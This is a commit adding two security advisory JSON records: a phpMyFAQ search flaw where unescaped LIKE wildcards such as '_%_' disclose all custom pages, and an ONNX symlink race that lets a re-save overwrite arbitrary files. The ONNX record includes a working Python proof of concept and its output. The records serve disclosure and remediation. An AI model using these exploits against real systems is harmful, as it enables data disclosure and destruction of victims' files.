Skip to content

Commit 3d38b77

Browse files
1 parent 7139372 commit 3d38b77

File tree

2 files changed

+117
-0
lines changed

2 files changed

+117
-0
lines changed
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-gcp9-5jc8-976x",
4+
"modified": "2026-04-01T23:41:49Z",
5+
"published": "2026-04-01T23:41:49Z",
6+
"aliases": [
7+
"CVE-2026-34973"
8+
],
9+
"summary": "phpMyFAQ has a LIKE Wildcard Injection in Search.php — Unescaped % and _ Metacharacters Enable Broad Content Disclosure",
10+
"details": "### Summary\n\nThe `searchCustomPages()` method in `phpmyfaq/src/phpMyFAQ/Search.php` uses `real_escape_string()` (via `escape()`) to sanitize the search term before embedding it in LIKE clauses. However, `real_escape_string()` does **not** escape SQL LIKE metacharacters `%` (match any sequence) and `_` (match any single character). An unauthenticated attacker can inject these wildcards into search queries, causing them to match unintended records — including content that was not meant to be surfaced — resulting in information disclosure.\n\n### Details\n\n**File:** `phpmyfaq/src/phpMyFAQ/Search.php`, lines 226–240\n\n**Vulnerable code:**\n```php\n$escapedSearchTerm = $this->configuration->getDb()->escape($searchTerm);\n$searchWords = explode(' ', $escapedSearchTerm);\n$searchConditions = [];\n\nforeach ($searchWords as $word) {\n if (strlen($word) <= 2) {\n continue;\n }\n $searchConditions[] = sprintf(\n \"(page_title LIKE '%%%s%%' OR content LIKE '%%%s%%')\",\n $word,\n $word\n );\n}\n```\n\n`escape()` calls `mysqli::real_escape_string()`, which escapes characters like `'`, `\\`, `NULL`, etc. — but explicitly does **not** escape `%` or `_`, as these are not SQL string delimiters. They are, however, LIKE pattern wildcards.\n\n**Attack vector:**\n\nA user submits a search term containing `_` or `%` as part of a 3+ character word (to bypass the `strlen <= 2` filter). Examples:\n\n- Search for `a_b` → LIKE becomes `'%a_b%'` → `_` matches any single character, e.g. matches `\"aXb\"`, `\"a1b\"`, `\"azb\"` — broader than the literal string `a_b`\n- Search for `te%t` → LIKE becomes `'%te%t%'` → matches `test`, `text`, `te12t`, etc.\n- Search for `_%_` → LIKE becomes `'%_%_%'` → matches any record with at least one character, effectively dumping all custom pages\n\nThis allows an attacker to retrieve custom page content that would not appear in normal exact searches, bypassing intended search scope restrictions.\n\n### PoC\n\n1. Navigate to the phpMyFAQ search page (accessible to unauthenticated users by default).\n2. Submit a search query: `_%_` (underscore, percent, underscore — length 3, bypasses the `<= 2` filter).\n3. The backend executes: `WHERE (page_title LIKE '%_%_%' OR content LIKE '%_%_%')`\n4. This matches **all** custom pages with at least one character in title or content — returning content that would not appear for a specific search term.\n\n### Impact\n\n- **Authentication required:** None — search is publicly accessible\n- **Affected component:** `searchCustomPages()` in `Search.php`; custom pages (faqcustompages table)\n- **Impact:** Unauthenticated users can enumerate/disclose all custom page content regardless of the intended search term filter\n- **Fix:** Escape `%` and `_` in LIKE search terms before interpolation:\n ```php\n $word = str_replace(['\\\\', '%', '_'], ['\\\\\\\\', '\\\\%', '\\\\_'], $word);\n ```\n Or use parameterized queries with properly escaped LIKE values.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "thorsten/phpmyfaq"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.1.1"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gcp9-5jc8-976x"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/thorsten/phpMyFAQ"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-943"
51+
],
52+
"severity": "MODERATE",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-04-01T23:41:49Z",
55+
"nvd_published_at": null
56+
}
57+
}
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-q56x-g2fj-4rj6",
4+
"modified": "2026-04-01T23:40:58Z",
5+
"published": "2026-04-01T23:40:58Z",
6+
"aliases": [],
7+
"summary": "ONNX: TOCTOU arbitrary file read/write in save_external_dat ",
8+
"details": "### Summary\n\nThe `save_external_data` method seems to include multiple issues introducing a local TOCTOU vulnerability, an arbitrary file read/write on any system. It potentially includes a path validation bypass on Windows systems.\nRegarding the TOCTOU, an attacker seems to be able to overwrite victim's files via symlink following under the same privilege scope.\nThe mentioned function can be found here: https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L188\n\n### Details\n\n#### TOCTOU\nThe vulnerable code pattern:\n```python\n # CHECK - Is this a file?\n if not os.path.isfile(external_data_file_path):\n # Line 228-229: USE #1 - Create if it doesn't exist\n with open(external_data_file_path, \"ab\"):\n pass\n \n # Open for writing\n with open(external_data_file_path, \"r+b\") as data_file:\n # Lines 233-243: Write tensor data\n data_file.seek(0, 2)\n if info.offset is not None:\n file_size = data_file.tell()\n if info.offset > file_size:\n data_file.write(b\"\\0\" * (info.offset - file_size))\n data_file.seek(info.offset)\n offset = data_file.tell()\n data_file.write(tensor.raw_data)\n```\nThere is a time gap between `os.path.isfile` and `open` with no atomic file creation flags (e.g. `O_EXCEL | O_CREAT`) allowing the attacker to create a symlink that is being followed (absence of `O_NOFOLLOW`), between these two calls. By combining these, the attack is possible as shown below in the PoC section.\n\n#### Bypass\nThere is also a potential validation bypass on Windows systems in the same method (https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L203) alloing absolute paths like `C:\\` (only 1 part):\n```python\nif location_path.is_absolute() and len(location_path.parts) > 1\n```\nThis may allow Windows Path Traversals (not 100% verified as I am emulating things on a Debian distro).\n\n### PoC\n\nInstall the dependencies and run this:\n```python\nmport os\nimport sys\nimport tempfile\nimport numpy as np\nimport onnx\nfrom onnx import TensorProto, helper\nfrom onnx.numpy_helper import from_array\n\n# Create a temporary directory for our poc\nwith tempfile.TemporaryDirectory() as tmpdir:\n print(f\"[*] Working directory: {tmpdir}\")\n\n # Create a \"sensitive\" file that we'll overwrite\n sensitive_file = os.path.join(tmpdir, \"sensitive.txt\")\n with open(sensitive_file, 'w') as f:\n f.write(\"SENSITIVE DATA - DO NOT OVERWRITE\")\n\n original_content = open(sensitive_file, 'rb').read()\n print(f\"[*] Created sensitive file: {sensitive_file}\")\n print(f\" Original content: {original_content}\")\n\n # Create a simple ONNX model with a large tensor\n print(\"[*] Creating ONNX model with external data...\")\n\n # Create a tensor with data > 1KB (to trigger external data)\n large_array = np.ones((100, 100), dtype=np.float32) # 40KB tensor\n large_tensor = from_array(large_array, name='large_weight')\n\n # Create a minimal model\n model = helper.make_model(\n helper.make_graph(\n [helper.make_node('Identity', ['input'], ['output'])],\n 'minimal_model',\n [helper.make_tensor_value_info('input', TensorProto.FLOAT, [100, 100])],\n [helper.make_tensor_value_info('output', TensorProto.FLOAT, [100, 100])],\n [large_tensor]\n )\n )\n\n # Save model with external data to create the external data file\n model_path = os.path.join(tmpdir, \"model.onnx\")\n external_data_name = \"data.bin\"\n external_data_path = os.path.join(tmpdir, external_data_name)\n\n onnx.save_model(\n model, \n model_path,\n save_as_external_data=True,\n all_tensors_to_one_file=True,\n location=external_data_name,\n size_threshold=1024\n )\n\n print(f\"[+] Model saved: {model_path}\")\n print(f\"[+] External data created: {external_data_path}\")\n\n # Now comes the attack: replace the external data file with a symlink\n print(\"[!] ATTACK: Replacing external data file with symlink...\")\n\n # Remove the legitimate external data file\n if os.path.exists(external_data_path):\n os.remove(external_data_path)\n print(f\" Removed: {external_data_path}\")\n\n # Create symlink pointing to sensitive file\n os.symlink(sensitive_file, external_data_path)\n print(f\" Created symlink: {external_data_path} -> {sensitive_file}\")\n\n # Now load and re-save the model, which will trigger the vulnerability\n print(\"Loading model and saving with external data...\")\n try:\n # Load the model (without loading external data)\n loaded_model = onnx.load(model_path, load_external_data=False)\n\n # Modify the model slightly (to ensure we write new data)\n loaded_model.graph.initializer[0].raw_data = large_array.tobytes()\n\n # Save again - this will call save_external_data() and follow the symlink\n onnx.save_model(\n loaded_model,\n model_path,\n save_as_external_data=True,\n all_tensors_to_one_file=True,\n location=external_data_name,\n size_threshold=1024\n )\n except Exception as e:\n print(f\"[-] Error: {e}\")\n \n # Check if the sensitive file was overwritten\n print(\"[*] Checking if sensitive file was modified...\")\n modified_content = open(sensitive_file, 'rb').read()\n \n print(f\" Original size: {len(original_content)} bytes\")\n print(f\" Current size: {len(modified_content)} bytes\")\n print(f\" Original content: {original_content[:50]}\")\n print(f\" Current content: {modified_content[:50]}...\")\n print()\n \n if modified_content != original_content:\n print(\"[!] Success!\")\n else:\n print(\"[-] Failure\")\n```\nOutput:\n```\n[*] Working directory: /tmp/tmpqy7z88_l\n[*] Created sensitive file: /tmp/tmpqy7z88_l/sensitive.txt\n Original content: b'SENSITIVE DATA - DO NOT OVERWRITE'\n\n[*] Creating ONNX model with external data...\n[+] Model saved: /tmp/tmpqy7z88_l/model.onnx\n[+] External data created: /tmp/tmpqy7z88_l/data.bin\n[!] ATTACK: Replacing external data file with symlink...\n Removed: /tmp/tmpqy7z88_l/data.bin\n Created symlink: /tmp/tmpqy7z88_l/data.bin -> /tmp/tmpqy7z88_l/sensitive.txt\nLoading model and saving with external data...\n[*] Checking if sensitive file was modified...\n Original size: 33 bytes\n Current size: 40033 bytes\n Original content: b'SENSITIVE DATA - DO NOT OVERWRITE'\n Current content: b'SENSITIVE DATA - DO NOT OVERWRITE\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00'...\n```\nSuccessfully overwritting the \"sensitive data\" file.\n\n### Impact\nThe impact may include filesystem injections (e.g. on ssh keys, shell configs, crons) or destruction of files, affecting integrity and availability.\n\n### Mitigations\n1. Atomic file creation\n2. Symlink protection\n3. Path canonicalization",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "PyPI",
19+
"name": "onnx"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "1.21.0"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 1.20.1"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/onnx/onnx/security/advisories/GHSA-q56x-g2fj-4rj6"
43+
},
44+
{
45+
"type": "PACKAGE",
46+
"url": "https://github.com/onnx/onnx"
47+
}
48+
],
49+
"database_specific": {
50+
"cwe_ids": [
51+
"CWE-22",
52+
"CWE-367",
53+
"CWE-59"
54+
],
55+
"severity": "HIGH",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-04-01T23:40:58Z",
58+
"nvd_published_at": null
59+
}
60+
}

0 commit comments

Comments
 (0)